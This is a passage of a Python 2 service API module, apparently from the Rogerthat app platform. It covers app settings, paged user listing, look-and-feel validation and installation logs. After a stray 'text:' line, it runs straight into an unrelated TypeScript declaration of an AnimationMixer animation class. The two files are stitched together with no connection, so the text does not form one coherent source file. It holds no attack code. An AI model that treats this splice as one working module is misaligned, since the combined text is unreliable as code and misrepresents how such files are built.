from rogerthat.to.app import AppInfoTO, AppUserListResultTO, AppUserTO, AppSettingsTO, PutLoyaltyUserResultTO, \
    AppLookAndFeelTO, NavigationItemTO, HomeScreenSettingsTO, AppTranslationTO
from rogerthat.to.installation import InstallationListTO, InstallationLogTO, InstallationTO
from rogerthat.to.messaging import BaseMemberTO
from rogerthat.to.statistics import AppServiceStatisticsTO
from rogerthat.utils import colorscale
from rogerthat.utils.app import create_app_user, get_app_user_tuple
from rogerthat.utils.crypto import decrypt, encrypt
from rogerthat.utils.service import add_slash_default

#############################################
# DO NOT DOCUMENT THIS SERVICE API FUNCTION #
@service_api(function=u'app.get_info')
@returns(AppInfoTO)
@arguments(app_id=unicode)
def get_info(app_id):
    app = bizz_app.get_app(app_id)
    return AppInfoTO.fromModel(app) if app else None

@service_api(function=u'app.put_user_regexes')
@returns()
@arguments(app_id=unicode, regexes=[unicode])
def put_user_regexes(app_id, regexes):
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    bizz_app.put_user_regexes(service_user, app_id, regexes)

@service_api(function=u'app.del_user_regexes')
@returns()
@arguments(app_id=unicode, regexes=[unicode])
def del_user_regexes(app_id, regexes):
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    bizz_app.del_user_regexes(service_user, app_id, regexes)

@service_api(function=u'app.add_auto_connected_services')
@returns(NoneType)
@arguments(app_id=unicode, services=[AutoConnectedService], auto_connect_now=bool)
def add_auto_connected_services(app_id, services, auto_connect_now=True):
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    bizz_app.add_auto_connected_services(app_id, services, auto_connect_now)

@service_api(function=u'app.delete_auto_connected_service')
@returns(NoneType)
@arguments(app_id=unicode, service_identity_email=unicode)
def delete_auto_connected_service(app_id, service_identity_email):
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    bizz_app.delete_auto_connected_service(service_user, app_id, service_identity_email)

@service_api(function=u'app.put_profile_data')
@returns(NoneType)
@arguments(email=unicode, profile_data=unicode, app_id=unicode)
def put_profile_data(email, profile_data, app_id):
    from rogerthat.bizz.profile import set_profile_data
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    set_profile_data(service_user, create_app_user(users.User(email), app_id), profile_data)

@service_api(function=u'app.del_profile_data')
@returns(NoneType)
@arguments(email=unicode, profile_data_keys=[unicode], app_id=unicode)
def del_profile_data(email, profile_data_keys, app_id):
    from rogerthat.bizz.profile import set_profile_data
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    set_profile_data(service_user,
                     create_app_user(users.User(email), app_id),
                     json.dumps(dict(((key, None) for key in profile_data_keys))))

@service_api(function=u'app.list_users')
@returns(AppUserListResultTO)
@arguments(app_id=unicode, cursor=unicode)
def list_users(app_id, cursor):
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])

    if cursor:
        cursor = decrypt(service_user, cursor)

    query = get_user_profiles_by_app_id(app_id)
    query.with_cursor(cursor)
    user_profiles = query.fetch(1000)
    cursor = query.cursor()
    extra_key = query.fetch(1)

    result = AppUserListResultTO()
    result.cursor = unicode(encrypt(service_user, cursor)) if len(extra_key) > 0 else None

    work = Queue()
    results = Queue()
    for items in [user_profiles[x:x + 50] for x in xrange(0, len(user_profiles), 50)]:
        work.put(items)

    def slave():
        while True:
            try:
                user_profiles = work.get_nowait()
            except Empty:
                break  # No more work, goodbye
            try:
                friendMaps = db.get([get_friends_map_key_by_user(user_profile.user) for user_profile in user_profiles])
                for user_profile, friendMap in zip(user_profiles, friendMaps):
                    results.put(AppUserTO(user_profile, friendMap))
            except Exception, e:
                results.put(e)

    threads = list()
    for _ in xrange(10):
        t = Thread(target=slave)
        t.start()
        threads.append(t)

    for t in threads:
        t.join()

    result.users = list()
    while not results.empty():
        app_user = results.get()
        if isinstance(app_user, AppUserTO):
            result.users.append(app_user)
        else:
            raise app_user

    return result

@service_api(function=u'app.get_settings')
@returns(AppSettingsTO)
@arguments(app_id=unicode)
def get_settings(app_id=None):
    """
    Args:
        app_id (unicode)
    Returns:
        AppSettingsTO
    """
    service_user = users.get_current_user()
    if not app_id:
        app_id = get_default_service_identity(service_user).app_id

    validate_app_admin(service_user, [app_id])
    return AppSettingsTO.from_model(bizz_app.get_app_settings(app_id))

@service_api(function=u'app.put_settings')
@returns(AppSettingsTO)
@arguments(settings=AppSettingsTO, app_id=unicode)
def put_settings(settings, app_id=None):
    """
    Args:
        settings (AppSettingsTO)
        app_id (unicode)
    Returns:
        AppSettingsTO
    """
    service_user = users.get_current_user()
    if not app_id:
        app_id = get_default_service_identity(service_user).app_id

    validate_app_admin(service_user, [app_id])
    return AppSettingsTO.from_model(bizz_app.put_settings(app_id, settings))

@service_api(function=u'app.put_loyalty_user')
@returns(PutLoyaltyUserResultTO)
@arguments(url=unicode, email=unicode)
def put_loyalty_user(url, email):
    from rogerthat.bizz.profile import put_loyalty_user as bizz_put_loyalty_user
    service_user = users.get_current_user()
    result = PutLoyaltyUserResultTO()
    result.url, app_user = bizz_put_loyalty_user(service_user, url, email)
    human_user, result.app_id = get_app_user_tuple(app_user)
    result.email = human_user.email()
    return result

@service_api(function=u'app.get_statistics')
@returns([AppServiceStatisticsTO])
@arguments(app_ids=[unicode], service_identity=unicode)
def get_statistics(app_ids, service_identity=None):
    service_user = users.get_current_user()
    service_identity_user = get_and_validate_service_identity_user(service_user, service_identity)
    return get_app_statistics(app_ids)

@service_api(function=u'app.list_look_and_feel')
@returns([AppLookAndFeelTO])
@arguments(app_id=unicode)
def list_look_and_feel(app_id):
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    return [AppLookAndFeelTO.from_model(model) for model in list_app_look_and_feel(app_id)]

@returns()
@arguments(parent_name=unicode, ni=NavigationItemTO)
def _complete_and_validate_navigation_item(parent_name, ni):
    if ni.action_type is MISSING:
        ni.action_type = None
    if ni.action is MISSING:
        raise InvalidValueException(u"%s.items.action" % parent_name, u"Action is a required field")
    if ni.icon is MISSING:
        raise InvalidValueException(u"%s.items.icon" % parent_name, u"Icon is a required field")
    if ni.icon_color is MISSING:
        ni.icon_color = None
    if ni.text is MISSING:
        raise InvalidValueException(u"%s.items.text" % parent_name, u"Text is a required field")
    if ni.collapse is MISSING:
        ni.collapse = False
    if ni.service_email is MISSING:
        ni.service_email = None
    if ni.params is MISSING:
        ni.params = None if not ni.collapse else json.dumps({'collapse': True}).decode('utf-8')

@returns()
@arguments(look_and_feel=AppLookAndFeelTO)
def _complete_and_validate_look_and_feel(look_and_feel):
    if look_and_feel.id is MISSING:
        look_and_feel.id = None
    if look_and_feel.app_id is MISSING:
        raise InvalidValueException(u"app_id", u"App id is a required field")

    if look_and_feel.roles is MISSING:
        look_and_feel.roles = []
    for r in look_and_feel.roles:
        if r.role_ids is MISSING:
            raise InvalidValueException(u"roles.role_ids", u"Role ids is a required field")
        if r.service_email is MISSING:
            raise InvalidValueException(u"roles.service_email", u"Service email is a required field")
        if r.service_identity is MISSING:
            r.service_identity = ServiceIdentity.DEFAULT

    look_and_feel.colors.secondary_color = None
    if look_and_feel.colors.primary_color is MISSING:
        raise InvalidValueException(u"colors.primary_color", u"Primary color is a required field")
    if look_and_feel.colors.primary_color_dark is MISSING:
        look_and_feel.colors.primary_color_dark = colorscale(look_and_feel.colors.primary_color, 0.6)
    if look_and_feel.colors.primary_icon_color is MISSING:
        raise InvalidValueException(u"colors.primary_icon_color", u"Primary icon color is a required field")
    if look_and_feel.colors.tint_color is MISSING:
        raise InvalidValueException(u"colors.tint_color", u"Tint color is a required field")

    if look_and_feel.homescreen.color is MISSING:
        raise InvalidValueException(u"homescreen.color", u"Color is a required field")
    if look_and_feel.homescreen.style is MISSING:
        raise InvalidValueException(u"homescreen.style", u"Style is a required field")
    if look_and_feel.homescreen.style not in [HomeScreenSettingsTO.STYLE_NEWS, HomeScreenSettingsTO.STYLE_MESSAGES]:
        raise InvalidValueException(u"homescreen.style", u"Style should be 'news' or 'messages'")
    if look_and_feel.homescreen.header_image_url is MISSING:
        look_and_feel.homescreen.header_image_url = None

    activity_names = set()
    if look_and_feel.homescreen.items is MISSING:
        look_and_feel.homescreen.items = []
    if not look_and_feel.homescreen.items:
        raise InvalidValueException(u"homescreen.items", u"Items cannot be empty")

    for ni in look_and_feel.homescreen.items:
        _complete_and_validate_navigation_item(u"homescreen", ni)
        if ni.action_type is None:
            activity_names.add(ni.action)

    if look_and_feel.toolbar.items is MISSING:
        look_and_feel.toolbar.items = []
    if len(look_and_feel.toolbar.items) != 4:
        look_and_feel.toolbar.items = look_and_feel.toolbar.items[:4]
    for ni in look_and_feel.toolbar.items:
        _complete_and_validate_navigation_item(u"toolbar", ni)
        if ni.action_type is None:
            activity_names.add(ni.action)

    if look_and_feel.homescreen.style not in activity_names:
        raise StyleNotFoundInNavigationItemsException(look_and_feel.homescreen.style)

@service_api(function=u'app.put_look_and_feel')
@returns(AppLookAndFeelTO)
@arguments(look_and_feel=AppLookAndFeelTO)
def put_look_and_feel(look_and_feel):
    service_user = users.get_current_user()
    validate_app_admin(service_user, [look_and_feel.app_id])

    _complete_and_validate_look_and_feel(look_and_feel)
    if not look_and_feel.roles:
        raise InvalidValueException(u"roles", u"Roles is a required field")
    look_and_feel_model = put_app_look_and_feel(look_and_feel)
    return AppLookAndFeelTO.from_model(look_and_feel_model)

@service_api(function=u'app.test_look_and_feel')
@returns()
@arguments(look_and_feel=AppLookAndFeelTO, members=[BaseMemberTO])
def test_look_and_feel(look_and_feel, members):
    service_user = users.get_current_user()

    app_ids = set()
    app_ids.add(look_and_feel.app_id)
    for m in members:
        app_ids.add(m.app_id)
    validate_app_admin(service_user, list(app_ids))

    if look_and_feel:
        _complete_and_validate_look_and_feel(look_and_feel)
    test_app_look_and_feel(look_and_feel, members)

@service_api(function=u'app.delete_look_and_feel')
@returns()
@arguments(look_and_feel_id=(int, long))
def delete_look_and_feel(look_and_feel_id):
    service_user = users.get_current_user()

    look_and_feel = AppLookAndFeel.get_by_id(look_and_feel_id)
    if not look_and_feel:
        raise LookAndFeelNotFoundException(look_and_feel_id)

    validate_app_admin(service_user, [look_and_feel.app_id])

    delete_app_look_and_feel(look_and_feel_id)

@service_api(function=u'app.get_translations')
@returns([AppTranslationTO])
@arguments(language=unicode, app_id=unicode)
def get_translations(language, app_id=None):
    service_user = users.get_current_user()
    app_id = get_and_validate_app_id_for_service_identity_user(add_slash_default(service_user), app_id)
    translations = get_app_translations(app_id)
    result = []

    if translations and translations.translations_dict:
        for key, value in translations.translations_dict.get(language, {}).iteritems():
            result.append(AppTranslationTO(key, value))

    return result

@service_api(function=u'app.list_installations')
@returns(InstallationListTO)
@arguments(app_id=unicode, cursor=unicode, page_size=(int, long), detailed=bool)
def list_installations(app_id, cursor=None, page_size=50, detailed=False):
    page_size = min(1000, page_size)
    service_user = users.get_current_user()
    validate_app_admin(service_user, [app_id])
    installations, cursor, has_more = list_installations_by_app(app_id, cursor, page_size)
    mobiles = {}
    profiles = {}
    if detailed:
        mobiles, profiles = get_mobiles_and_profiles_for_installations(installations)
    return InstallationListTO.from_query(installations, cursor, has_more, mobiles, profiles)

@service_api(function=u'app.get_installation')
@returns(InstallationTO)
@arguments(installation_id=unicode)
def get_installation(installation_id):
    service_user = users.get_current_user()
    installation = Installation.get_by_key_name(installation_id)
    validate_app_admin(service_user, [installation.app_id])
    return InstallationTO.from_model(installation, installation.mobile, installation.profile)

@service_api(function=u'app.list_installation_logs')
@returns([InstallationLogTO])
@arguments(installation_id=unicode)
def list_installation_logs(installation_id):
    service_user = users.get_current_user()
    installation = Installation.get_by_key_name(installation_id)
    validate_app_admin(service_user, [installation.app_id])
    return [InstallationLogTO.from_model(log) for log in get_installation_logs_by_installation(installation)]

@service_api_callback(function='app.installation_progress', code=ServiceProfile.CALLBACK_APP_INSTALLATION_PROGRESS)
@returns(NoneType)
@arguments(installation=InstallationTO, logs=[InstallationLogTO])
def installation_progress(installation, logs):
    # type: (InstallationTO, list[InstallationLogTO]) -> NoneType
    """
    Notifies the main service of new installation logs. Only the new logs are returned, not all of them.
    """
    pass

@mapping(u'app.installation_progress.response_receiver')
@returns(NoneType)
@arguments(context=ServiceAPICallback, result=NoneType)
def installation_progress_response_receiver(context, result):
    pass


text:
import { AnimationClip } from './AnimationClip';
import { AnimationAction } from './AnimationAction';
import { AnimationBlendMode } from '../constants';
import { EventDispatcher } from './../core/EventDispatcher';
import { Object3D } from '../core/Object3D';
import { AnimationObjectGroup } from './AnimationObjectGroup';

export class AnimationMixer extends EventDispatcher {
    constructor(root: Object3D | AnimationObjectGroup);

    /**
     * @default 0
     */
    time: number;

    /**
     * @default 1.0
     */
    timeScale: number;

    clipAction(
        clip: AnimationClip,
        root?: Object3D | AnimationObjectGroup,
        blendMode?: AnimationBlendMode,
    ): AnimationAction;
    existingAction(clip: AnimationClip, root?: Object3D | AnimationObjectGroup): AnimationAction | null;
    stopAllAction(): AnimationMixer;
    update(deltaTime: number): AnimationMixer;
    setTime(timeInSeconds: number): AnimationMixer;
    getRoot(): Object3D | AnimationObjectGroup;
    uncacheClip(clip: AnimationClip): void;
    uncacheRoot(root: Object3D | AnimationObjectGroup): void;
    uncacheAction(clip: AnimationClip, root?: Object3D | AnimationObjectGroup): void;
}